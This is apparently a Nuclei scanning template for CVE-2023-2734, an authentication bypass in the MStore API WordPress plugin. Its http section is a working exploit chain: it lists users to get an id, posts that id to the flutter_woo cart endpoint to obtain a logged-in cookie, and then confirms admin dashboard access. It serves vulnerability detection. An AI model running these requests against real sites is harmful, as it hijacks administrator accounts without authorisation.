id: CVE-2023-2734

info:
  name: MStore API <= 3.9.1 - Authentication Bypass
  author: daffainfo
  severity: critical
  description: |
    The MStore API plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.9.1. This is due to insufficient verification on the user being supplied during the cart sync from mobile REST API request through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the user id.
  impact: |
    Attackers can log in as any user, including administrators, potentially gaining full control over the site.
  remediation: |
    Update to version 3.9.2 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mstore-api/mstore-api-391-authentication-bypass
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2915729%40mstore-api&old=2913397%40mstore-api&sfp_email=&sfph_mail=#file59
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2734
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 9.8
    cve-id: CVE-2023-2734
    epss-score: 0.76312
    epss-percentile: 0.98955
    cwe-id: CWE-200
    cpe: cpe:2.3:a:inspireui:mstore_api:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: inspireui
    product: mstore_api
    framework: wordpress
    fofa-query: body="/wp-content/plugins/mstore-api/"
    publicwww-query: "/wp-content/plugins/mstore-api/"
  tags: cve,cve2023,wordpress,wp,wp-plugin,inspireui,mstore_api,auth-bypass,vkev

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{route}}"

    attack: clusterbomb
    payloads:
      route:
        - "wp-json/wp/v2/users"
        - "?rest_route=/wp/v2/users"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "[{\"id", "name\":")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: user_id
        json:
          - '.[0].id'
        internal: true

  - raw:
      - |
        POST /wp-json/api/flutter_woo/cart HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"customer_id":{{user_id}}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 500'
          - 'contains(content_type, "application/json")'
          - 'contains(header, "wordpress_logged_in_")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/index.php HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Dashboard","Plugins","Edit Profile")'
        condition: and
# digest: 4b0a00483046022100f3d5dfbf2d77f2b9c34c235fa7488e14d3857067a148deb6929205528e01d2b2022100f0856e7b243b06beb3700f445dbff49589e74ba76daa0f982be74101edd1580b:922c64590222798bb761d5b6d8e72950